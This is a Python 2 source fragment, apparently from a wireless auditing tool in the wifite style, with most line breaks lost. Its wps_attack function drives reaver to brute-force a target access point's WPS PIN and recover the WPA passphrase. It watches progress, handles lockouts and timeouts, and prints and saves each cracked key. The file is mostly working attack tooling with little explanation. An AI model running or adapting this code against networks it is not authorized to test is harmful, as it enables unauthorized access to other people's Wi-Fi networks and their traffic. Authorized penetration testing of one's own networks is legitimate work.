def wps_attack(iface, target):"""Mounts attack against target on iface.Uses "reaver" to attempt to brute force the PIN.Once PIN is found, PSK can be recovered.PSK is displayed to user and added to WPS_FINDINGS"""print GR+' [0:00:00]'+W+' initializing %sWPS PIN attack%s on %s' % \(G, W, G+target.ssid+W+' ('+G+target.bssid+W+')'+W)cmd = ['reaver','-i', iface,'-b', target.bssid,'-o', temp + 'out.out', # Dump output to file to be monitored'-a',# auto-detect best options, auto-resumes sessions, doesn't require input!'-c', target.channel,# '--ignore-locks','-vv']# verbose outputproc = Popen(cmd, stdout=DN, stderr=DN)cracked = False# Flag for when password/pin is foundpercent = 'x.xx%' # Percentage completeaps= 'x'# Seconds per attempttime_started = time.time()last_success = time_started # Time of last successful attemptlast_pin = ''# Keep track of last pin tried (to detect retries)retries= 0# Number of times we have attempted this PINtries_total = 0# Number of times we have attempted all pinstries= 0# Number of successful attemptspin = ''key = ''try:while not cracked:time.sleep(1)if proc.poll() != None:# Process stopped: Cracked? Failed? inf = open(temp + 'out.out', 'r')lines = inf.read().split('\n')inf.close()for line in lines:# When it's cracked:if line.find("WPS PIN: '") != -1:pin = line[line.find("WPS PIN: '") + 10:-1]if line.find("WPA PSK: '") != -1:key = line[line.find("WPA PSK: '") + 10:-1]cracked = Truebreak

if not os.path.exists(temp + 'out.out'): continueinf = open(temp + 'out.out', 'r')lines = inf.read().split('\n')inf.close()for line in lines:if line.strip() == '': continue# Statusif line.find(' complete @ ') != -1 and len(line) > 8:percent = line.split(' ')[1]i = line.find(' (')j = line.find(' seconds/', i)if i != -1 and j != -1: aps = line[i+2:j]# PIN attemptelif line.find(' Trying pin ') != -1:pin = line.strip().split(' ')[-1]if pin == last_pin: retries += 1elif tries_total == 0:last_pin = pintries_total -= 1else:last_success = time.time()tries += 1last_pin = pinretries = 0tries_total += 1# Warningelif line.endswith('10 failed connections in a row'): pass# Check for PIN/PSKelif line.find("WPS PIN: '") != -1:pin = line[line.find("WPS PIN: '") + 10:-1]elif line.find("WPA PSK: '") != -1:key = line[line.find("WPA PSK: '") + 10:-1]cracked = Trueif cracked: breakprint ' %s WPS attack, %s success/ttl,' % \(GR+sec_to_hms(time.time()-time_started)+W, \G+str(tries)+W+'/'+O+str(tries_total)+W),if percent == 'x.xx%' and aps == 'x': print '\r',else:print '%s complete (%s sec/att)\r' % (G+percent+W, G+aps+W),if WPS_TIMEOUT > 0 and (time.time() - last_success) > WPS_TIMEOUT:print R+'\n [!]'+O+' unable to complete successful try in %d seconds' % (WPS_TIMEOUT)print R+' [+]'+W+' skipping %s' % (O+target.ssid+W)breakif WPS_MAX_RETRIES > 0 and retries > WPS_MAX_RETRIES:print R+'\n [!]'+O+' unable to complete successful try in %d retries' % (WPS_MAX_RETRIES)print R+' [+]'+O+' the access point may have WPS-locking enabled, or is too far away'+Wprint R+' [+]'+W+' skipping %s' % (O+target.ssid+W)breakif WPS_RATIO_THRESHOLD > 0.0 and tries > 0 and (float(tries) / tries_total) < WPS_RATIO_THRESHOLD:print R+'\n [!]'+O+' successful/total attempts ratio was too low (< %.2f)' % (WPS_RATIO_THRESHOLD)print R+' [+]'+W+' skipping %s' % (G+target.ssid+W)breakstdout.flush()# Clear out output file if bigger than 1mbinf = open(temp + 'out.out', 'w')inf.close()# End of big "while not cracked" loopif cracked:if pin != '': print GR+'\n\n [+]'+G+' PIN found:%s' % (C+pin+W)if key != '': print GR+' [+] %sWPA key found:%s %s' % (G, W, C+key+W)WPA_FINDINGS.append(W+"found %s's WPA key: \"%s\", WPS PIN: %s" % (G+target.ssid+W, C+key+W, C+pin+W))WPA_FINDINGS.append('')save_cracked(target.bssid, target.ssid, "Key is '" + key + "' and PIN is '" + pin + "'", 'WPA')except KeyboardInterrupt:print R+'\n (^C)'+O+' WPS brute-force attack interrupted'+Wif attack_interrupted_prompt():send_interrupt(proc)print ''exit_gracefully(0)send_interrupt(proc)return cracked

#c = CapFile('hs/KillfuckSoulshitter_C0-C1-C0-07-54-DC_2.cap', 'Killfuck Soulshitter', 'c0:c1:c0:07:54:dc')#WPA_CRACKER = 'aircrack'#cracked = wpa_crack(c)#print cracked#exit_gracefully(1)

if __name__ == '__main__':try:banner()main()except KeyboardInterrupt: print R+'\n (^C)'+O+' interrupted\n'+Wexcept EOFError:print R+'\n (^D)'+O+' interrupted\n'+Wexit_gracefully(0)